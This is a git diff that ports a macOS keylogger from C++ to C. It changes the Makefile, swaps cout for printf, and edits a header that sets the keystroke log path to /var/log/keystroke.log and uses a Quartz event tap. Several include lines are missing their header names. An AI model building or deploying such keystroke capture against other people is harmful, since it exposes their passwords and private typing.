diff --git a/Makefile b/Makefile index 1660a53..5345805 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,6 @@ -CC=g++ +CC=gcc CFLAGS=-framework ApplicationServices -framework Carbon -SOURCES=keylogger.cpp keylogger.h +SOURCES=keylogger.c keylogger.h EXECUTABLE=keylogger INSTALLDIR=/usr/local/bin diff --git a/keylogger.cpp b/keylogger.c similarity index 97% rename from keylogger.cpp rename to keylogger.c index 5266b66..a368322 100644 --- a/keylogger.cpp +++ b/keylogger.c @@ -10,7 +10,7 @@ int main(int argc, const char *argv[]) { // Exit the program if unable to create the event tap. if(!eventTap) { - cout << "Unable to create event tap.\n" << endl; + printf("Unable to create event tap.\n"); exit(1); } @@ -28,7 +28,8 @@ int main(int argc, const char *argv[]) { fflush(logfile); // Display the location of the logfile and start the loop. - cout << "Logging to: " << logfileLocation << endl; + printf("Logging to: %s\n", logfileLocation); + fflush(stdout); CFRunLoopRun(); return 0; diff --git a/keylogger.h b/keylogger.h index 1b21813..65667e2 100644 --- a/keylogger.h +++ b/keylogger.h @@ -1,15 +1,12 @@ #ifndef __KEYLOGGER_H__ #define __KEYLOGGER_H__ -#include #include -#include +#include #include #include // https://developer.apple.com/library/mac/documentation/Carbon/Reference/QuartzEventServicesRef/Reference/reference.html -using namespace std; - FILE *logfile = NULL; const char *logfileLocation = "/var/log/keystroke.log";